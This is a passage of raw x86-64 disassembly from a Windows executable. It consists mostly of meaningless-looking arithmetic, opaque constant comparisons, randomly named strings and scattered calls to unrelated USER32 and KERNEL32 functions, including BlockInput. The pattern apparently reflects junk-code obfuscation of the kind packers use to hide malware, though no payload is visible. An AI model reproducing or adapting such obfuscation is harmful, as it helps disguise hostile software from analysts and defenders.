mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x17cc], eax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2bf0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0xcf]
mov rdx, qword [rsp + 0x2cc0]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14005b368
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov qword [rsp + 0x2eb0], rax
movabs rax, 0x91efd821e6d3c961
cmp qword [rsp + 0x2eb0], rax
je 0x14005b349
movabs rax, 0xc8d9868983a73ca4
cmp qword [rsp + 0x2eb0], rax
je 0x14005b306
jmp 0x14005b363
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cd8]
mov r8, qword [rax]
movzx edx, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x65c]
call fcn.14010c5e0
nop
jmp 0x14005b363
mov edx, 0x6a
lea rcx, [rsp + 0x112c0]
call qword [sym.imp.USER32.dll_CharLowerBuffA]
mov dword [rsp + 0x17d0], eax
jmp 0x14010a6f4
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov qword [rsp + 0x2eb8], rax
cmp qword [rsp + 0x2eb8], 0
je 0x14005b422
movabs rax, 0x789936c36576f924
cmp qword [rsp + 0x2eb8], rax
je 0x14005b3b5
jmp 0x14005b45b
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x2ec0], rax
movabs rax, 0x994282c7d1451a8a
cmp qword [rsp + 0x2ec0], rax
je 0x14005b3db
jmp 0x14005b3fc
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
shl eax, cl
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
jmp 0x14005b420
mov r8, qword [rsp + 0x2c40]
mov rax, qword [rsp + 0x2ca8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x2c50]
movzx ecx, word [rax]
call fcn.14010c5e0
nop
jmp 0x14005b45b
lea rax, [rsp + 0x1728]
mov qword [rsp + 0x2ec8], rax
mov eax, dword [rsp + 0x1788]
mov ecx, dword [rsp + 0x172c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x17cc], eax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2ed0], rax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
cmp dword [rsp + 0x17b8], 0x2dba
ja 0x14005b61d
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x66c]
sar eax, cl
mov word [rsp + 0x668], ax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x66c]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x17d0], eax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x668]
add eax, ecx
mov word [rsp + 0x66c], ax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov eax, dword [rsp + 0x17b8]
add eax, 0x9b
mov dword [rsp + 0x17b8], eax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [0x14015a008], ax
jmp 0x14005b47c
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [0x14015ae50]
or eax, ecx
mov word [rsp + 0x628], ax
mov dword [rsp + 0x17d4], 0x2997
mov rax, qword [rsp + 0x2d60]
movzx ecx, al
mov rax, qword [rsp + 0x2bf0]
sar rax, cl
mov rcx, qword [rsp + 0x2e30]
mov rdx, qword [rsp + 0x2cd0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jle 0x14005b70e
mov eax, dword [rsp + 0x1770]
mov rcx, qword [rsp + 0x2dc0]
mov qword [rsp + 0x2ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ed8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
lea r8, [rsp + 0x10fa0]
lea rdx, str.Boils_bowdlerised_Sustainability_Reserved
mov rcx, qword [rsp + 0x2ee0]
call qword [sym.imp.USER32.dll_GetClassInfoExA]
mov dword [rsp + 0x17d8], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov dword [rsp + 0x17dc], 0x31da
cmp dword [rsp + 0x17dc], 0x63a8
jae 0x14005b9cf
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x664]
and eax, ecx
mov word [rsp + 0x670], ax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x628]
add eax, ecx
mov word [0x14015ae50], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov eax, dword [rsp + 0x17dc]
add eax, 0xfa
mov dword [rsp + 0x17dc], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x17c8], eax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2ee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ee8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ef0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x668]
and eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14015a008], ax
movzx eax, word [rsp + 0x628]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2e30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
jmp 0x14005b719
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x668]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, word [rsp + 0x628]
movzx ecx, word [rsp + 0x65c]
sar eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ec8]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov edx, dword [rsp + 0x1714]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jg 0x14005ba7f
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd1], al
mov r9d, dword [rsp + 0x17cc]
movzx r8d, byte [rsp + 0xd0]
mov rax, qword [rsp + 0x2d20]
mov edx, dword [rax]
movzx ecx, word [0x14015ae50]
call fcn.14010b860
nop
jmp 0x14010a6ce
mov rax, qword [rsp + 0x2d78]
movzx eax, word [rax]
mov word [rsp + 0x674], ax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17cc]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1788]
mov edx, dword [rsp + 0x17d0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14005baf7
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2dc0]
mov rcx, qword [rsp + 0x2ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1714], eax
mov dword [rsp + 0x17e0], 0x3d00
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov dword [rsp + 0x17e4], eax
cmp dword [rsp + 0x17e4], 0
je 0x14005bb33
cmp dword [rsp + 0x17e4], 0x1e08f470
je 0x14010a4c9
jmp 0x14010a61b
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
cmp dword [rsp + 0x17d4], 0x3cbb
ja 0x14005bcd5
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1770]
mov ecx, dword [rsp + 0x1728]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov eax, dword [rsp + 0x17d4]
add eax, 0xf5
mov dword [rsp + 0x17d4], eax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
shl eax, cl
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
sar eax, cl
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
jmp 0x14005bb52
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x65c]
add ecx, edx
cmp eax, ecx
jne 0x14005be2b
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov rdx, qword [rsp + 0x2d88]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x14005be26
mov eax, dword [rsp + 0x1788]
mov dword [rsp + 0x17e8], eax
mov rax, qword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov rdx, qword [rsp + 0x2cd8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x14005bdbe
lea rcx, str.Porphyry_pokes_marker_Underlining
call qword [sym.imp.USER32.dll_CharUpperA]
mov qword [rsp + 0x2d00], rax
mov rax, qword [rsp + 0x2ec8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x17ec]
shl eax, cl
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
call fcn.14010bb20
nop
jmp 0x14005be26
mov eax, dword [rsp + 0x17cc]
movzx ecx, al
mov eax, dword [rsp + 0x1788]
shr eax, cl
mov rcx, qword [rsp + 0x2d20]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x17d0]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14005be26
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
jmp 0x14005bf6c
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x66c]
sub ecx, edx
cmp eax, ecx
jle 0x14005bf6c
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x17f0], al
cmp byte [rsp + 0x17f0], 0xce
je 0x14005be7e
jmp 0x14005bf4c
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x20], rax
mov r9d, SHGetNewLinkInfoA
mov r8d, 0x87
lea rdx, str.non_Airy_Bloodymindedness_Considered
mov rcx, qword [rsp + 0x2de8]
call qword [sym.imp.USER32.dll_GetTabbedTextExtentA]
mov dword [rsp + 0x17f4], eax
mov rax, qword [rsp + 0x2d80]
movzx eax, byte [rax]
mov byte [rsp + 0x17f8], al
cmp byte [rsp + 0x17f8], 0x20
je 0x14005bed1
jmp 0x14005bf1b
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x17fc], eax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
and eax, ecx
mov word [rsp + 0x664], ax
jmp 0x14005bf4a
mov rax, qword [rsp + 0x2ea0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x2e10]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x66c]
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rax]
call fcn.14010c2d0
nop
jmp 0x14005bf6c
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x2ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x66c]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x660]
sub ecx, edx
cmp eax, ecx
je 0x14005c119
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov ecx, 1
call qword [sym.imp.USER32.dll_IsGUIThread]
mov dword [rsp + 0x1800], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x65c]
add ecx, edx
cmp eax, ecx
jl 0x14005c0fa
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov qword [rsp + 0x2ef8], rax
movabs rax, 0x70dfec8a5a7ba5e5
cmp qword [rsp + 0x2ef8], rax
je 0x14005c061
movabs rax, 0x7d2dca2d9e94b479
cmp qword [rsp + 0x2ef8], rax
je 0x14005c0e6
jmp 0x14005c0f8
mov rax, qword [rsp + 0x2ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2f00]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1788]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2f08]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x17cc], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
jmp 0x14005c0f8
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x1794], eax
jmp 0x14005c119
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14015ae50], ax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov dword [rsp + 0x1804], eax
cmp dword [rsp + 0x1804], 0
je 0x14005c15b
cmp dword [rsp + 0x1804], 0x3432
je 0x14005c2b1
jmp 0x14005c30f
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x660]
and ecx, edx
cmp eax, ecx
jg 0x14005c2af
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov byte [rsp + 0x1808], al
cmp byte [rsp + 0x1808], 0x23
je 0x14005c292
cmp byte [rsp + 0x1808], 0x91
je 0x14005c1de
jmp 0x14005c2af
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x180c], eax
cmp dword [rsp + 0x180c], 0x42cc1c39
je 0x14005c20e
cmp dword [rsp + 0x180c], 0xf30a18ce
je 0x14005c275
jmp 0x14005c290
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x668]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x2f18], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x17f4], eax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
jmp 0x14005c290
mov edx, 1
mov rcx, qword [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov qword [rsp + 0x2f20], rax
jmp 0x14005c2af
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
jmp 0x14005c30f
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x674]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
lea rdx, [rsp + 0x2d48]
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_GetWindowInfo]
mov dword [rsp + 0x1810], eax
mov rax, qword [rsp + 0x2d90]
movzx eax, byte [rax]
mov byte [rsp + 0x1814], al
cmp byte [rsp + 0x1814], 0
je 0x14005c33e
cmp byte [rsp + 0x1814], 0x1f
je 0x14010a39a
jmp 0x14010a493
mov eax, dword [rsp + 0x17e8]
mov dword [rsp + 0x1818], eax
cmp dword [rsp + 0x1818], 0
je 0x14005c35b
jmp 0x14005c401
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x2f28], rax
movzx eax, word [0x14015ae50]
mov dword [rsp + 0x181c], eax
cmp dword [rsp + 0x181c], 0x8c3
je 0x14005c3a6
jmp 0x14005c3fc
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x17c8], eax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
lea rdx, [rsp + 0x10ff0]
lea rcx, [rsp + 0x2c30]
call qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov dword [rsp + 0x1820], eax
jmp 0x14005c569
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xd1]
sub ecx, edx
cmp eax, ecx
jle 0x14005c54d
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x674]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f28]
mov qword [rsp + 0x2f30], rax
movabs rax, 0x38f5dd7467a3b7d1
cmp qword [rsp + 0x2f30], rax
je 0x14005c498
jmp 0x14005c52e
lea rdx, [rsp + 0x11f20]
mov rcx, qword [rsp + 0x2f38]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x16c0], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
shl eax, cl
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movzx eax, word [rsp + 0x670]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2cc0]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x2d90]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2bf0]
call fcn.14010cd90
nop
jmp 0x14005c54b
lea rdx, [rsp + 0x2e38]
mov rcx, qword [rsp + 0x2f40]
call qword [sym.imp.USER32.dll_DrawFocusRect]
mov dword [rsp + 0x1820], eax
jmp 0x14005c569
mov eax, dword [rsp + 0x1728]
mov ecx, dword [rsp + 0x1714]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x2f48], rax
cmp qword [rsp + 0x2f48], 0
je 0x14005c589
jmp 0x14005c6ce
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x1824], al
cmp byte [rsp + 0x1824], 0
je 0x14005c5a7
jmp 0x14005c6ab
mov rax, qword [rsp + 0x2ea0]
mov rax, qword [rax]
mov qword [rsp + 0x2f50], rax
cmp qword [rsp + 0x2f50], 0
je 0x14005c5ca
jmp 0x14005c67d
mov eax, dword [rsp + 0x1798]
movzx ecx, al
mov eax, dword [rsp + 0x1714]
sar eax, cl
mov rcx, qword [rsp + 0x2ec8]
mov rdx, qword [rsp + 0x2dc0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jl 0x14005c669
mov eax, dword [rsp + 0x17c8]
mov dword [rsp + 0x1828], eax
cmp dword [rsp + 0x1828], 0x23cc67cc
je 0x14005c629
cmp dword [rsp + 0x1828], 0xbaeca84b
je 0x14005c621
jmp 0x14005c667
call fcn.14010bb20
nop
jmp 0x14005c667
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
jmp 0x14005c67b
mov ecx, SHTestTokenMembership
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x1810], eax
jmp 0x14005c6a9
mov rax, qword [rsp + 0x2ea0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x2d78]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x668]
